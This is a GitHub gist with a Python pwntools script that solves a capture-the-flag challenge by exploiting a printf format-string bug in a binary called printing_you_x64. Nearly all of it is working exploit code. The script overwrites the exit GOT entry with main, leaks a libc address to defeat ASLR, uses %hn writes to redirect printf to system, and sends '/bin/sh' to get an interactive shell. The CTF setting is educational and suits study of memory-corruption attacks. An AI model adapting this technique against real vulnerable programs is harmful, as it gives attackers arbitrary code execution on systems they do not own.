Skip to content

Instantly share code, notes, and snippets.

@spencerpogo
Last active November 28, 2020 01:44
Show Gist options
  • Save spencerpogo/aa674ea0f7f467acdadfce5384dfe935 to your computer and use it in GitHub Desktop.
Save spencerpogo/aa674ea0f7f467acdadfce5384dfe935 to your computer and use it in GitHub Desktop.
Solution to a printf format string vulnerability PWN challenge from https://johnhammond.org/discord
#!/usr/bin/env python3
# Solution to PWN challenge from Solution to a PWN challenge from https://johnhammond.org/discord
# Binary: printing_you_x64 https://cdn.discordapp.com/attachments/762701400790401044/767773607828652062/printing_you_x64
# Author: Scoder12
# Date: 10/13/20
# License: GNU AFFERO GENERAL PUBLIC LICENSE https://www.gnu.org/licenses/agpl-3.0.txt
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <https://www.gnu.org/licenses/>.
# Here is a decompilation of the binary:
# int main(void) {
# ssize_t sizeVar;
# char inp_buf [1024];
#
# puts("Welcome to challenge 3. Your stay won\'t be long :)");
# sizeVar = read(0, inp_buf, 0x3ff); // 0x3ff = 1023
# if (sizeVar < 1) {
# /* WARNING: Subroutine does not return */
# exit(1);
# }
# printing(inp_buf);
# return 0;
# }
#
# void printing(char *to_print) {
# printf(to_print);
# /* WARNING: Subroutine does not return */
# exit(0);
# }
from pwn import *
import sys
context.arch = "amd64"
local_libc_path = "/lib/x86_64-linux-gnu/libc.so.6"
try:
import libcfinder
except:
log.error(
f"libcfinder package not found. Will use local libc shared object file at "
f"{local_libc_path} instead, but this won't work on a remote target"
)
use_libcfinder = False
else:
use_libcfinder = True
# context.terminal = ["gnome-terminal", "--tab", "--", "/bin/sh", "-c"]
FNAME = "./printing_you_x64"
e = ELF(FNAME, checksec=False)
def ensure_length(s, length, fillchar=b"A"):
# Make sure its long enough
r = s.ljust(length, fillchar)
# Make sure its short enough
if len(r) > length:
raise ValueError("payload too long!")
return r
def gen_write_exploit(address, value, magic_offset):
exploit = b""
# The value to write to the address
# Not sure why, I'm sure theres a reason but I don't know what it is
exploit += ensure_length(f"%12${value - magic_offset}x".encode(), 17)
# Write the number of characters printed to %15, the address below
exploit += b" %15$n "
# The address to write to.
# This is big-endian with null bytes at the end, and printf uses c-strings
# which are null-terminated, so the address MUST be at the end, after any
# format specifiers
exploit += p64(address)
return exploit
def call_printf(payload):
log.info("Receiving binary welcome header...")
# Read header
d = p.recvline().decode()
if not d.startswith("Welcome"):
raise AssertionError("Bad: " + d)
log.info(f"Sending payload to printf: {payload}")
p.sendline(payload)
log.info("Reading out result from printf...")
# Payload won't end with a newline, so read everything until welcome, not including
# it (drop=True) then write it back into the stream to be read at the top of the
# next call to call_printf()
r = p.recvuntil("Welcome", drop=True)
p.unrecv("Welcome")
return r
# sys.stdout.buffer.write(exploit)
# Spawn binary
p = process(FNAME)
# attach to gdb, break on exit
if "gdb" in sys.argv:
gdb.attach(p.pid, "b *0x4011b2")
log.success("Phase 1: Overwriting exit() with main() to enable multiple passes...")
# Found the number 6 just by playing around
exploit = gen_write_exploit(e.got["exit"], e.symbols["main"], 6)
call_printf(exploit)
log.success("Phase two: Leak address to defeat ASLR")
# Through poking around in gdb, found 3rd paramater on stack is address of
# __libc_read+18, so leak it in pointer notation with %p
raw_address = call_printf("%3$p").decode().split("\n")[0].strip()
# Attempt to parse it as an integer
libc_read_address = int(raw_address, 16) - 18
log.success("Got libc read address @" + hex(libc_read_address))
# Find system address
if use_libcfinder:
libc_results = libcfinder.find_libcv({"read": libc_read_address})
# Prefer libc versions that are 64 bit because i386 ones usually come first in the
# list and won't work at all, so assign 64 bit ones a higher score and others a
# lower score, then sort from highest to lowest
libc_results = sorted(
libc_results, key=(lambda v: 1 if v.endswith("64") else 0), reverse=True
)
libc_version = libc_results[0]
log.info(f"Found libc version: {libc_version}")
system = libcfinder.find_fun_addr(libc_version, "read", libc_read_address, "system")
else:
log.info("Loading local libc shared object ELF...")
# Use local libc library as an ELF
libc_elf = ELF(local_libc_path)
# Find the libc base address by calculating the offset of read
libc_elf.address = libc_read_address - libc_elf.symbols["read"]
log.info(f"Libc Base @ {hex(libc_elf.address)}")
# Get system address using the base address we found
system = libc_elf.sym["system"]
log.success(f"Found system address @ {hex(system)}")
printf_address = e.symbols["printf"]
log.success(
f"Phase three: Overwrite printf PLT address {hex(printf_address)} with system address"
)
if "-gdb" in sys.argv:
gdb.attach(p.pid, "b *0x4011b2") # , f"x {hex(printf_address)}")
# Write system to printf address. Not sure if there is a better way to do this but I
# can't seem to find one
system_lower = int(hex(system)[-4:], 16)
system_middle = int(hex(system)[-8:-4], 16)
system_upper = int(hex(system)[:-8], 16)
log.info(
f"Broke system address into 2 byte sections: {hex(system_upper)} {hex(system_middle)} {hex(system_lower)}"
)
# A dict of address: value
writes = {
printf_address: system_lower,
printf_address + 2: system_middle,
printf_address + 4: system_upper,
}
# Sort writes, from lowest value to highest value because we can't unwrite characters
writes = dict(sorted(writes.items(), key=(lambda it: it[1])))
payload = b""
payload_len = 0
for i, value in enumerate(writes.values()):
# How many characters should be added in this step
pad_amt = value - payload_len
# You can switch this to a print if needed
log.debug(
f"Want {hex(value)}, already wrote {hex(payload_len)}, pad is {hex(pad_amt)}"
)
# The printf specifier that will pad this amount
pad_specifier = f"%12${pad_amt}x".encode()
# The specifier will only print as many characters as pad_amt, the actual text
# won't count
payload_len += pad_amt
# Write the padding then execute the write
# This will write the number of characters written (due to "n") to the ith address,
# interpreted as a short int from "h" as to not overwrite upper parts with 0s.
# We don't need to add to payload_len because this won't print anything
payload += pad_specifier + f"%{18 + i}$hn".encode()
# This must be exact or else the formatting specifiers won't line up.
payload = ensure_length(payload, 48)
# The addresses must be after all % directives, because they contain null bytes which
# stop printf from interpreting since it uses a c-string
for address in writes.keys():
payload += pack(address)
payload += b"\x00"
# print("Sending payload:", payload)
# p.sendline(payload)
# context.log_level = "info"
# print("Receiving lines...")
# p.recvline()
# p.recvline()
call_printf(payload)
print("Sending system command...")
p.sendline(b"/bin/sh")
print("Switching to interactive")
p.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment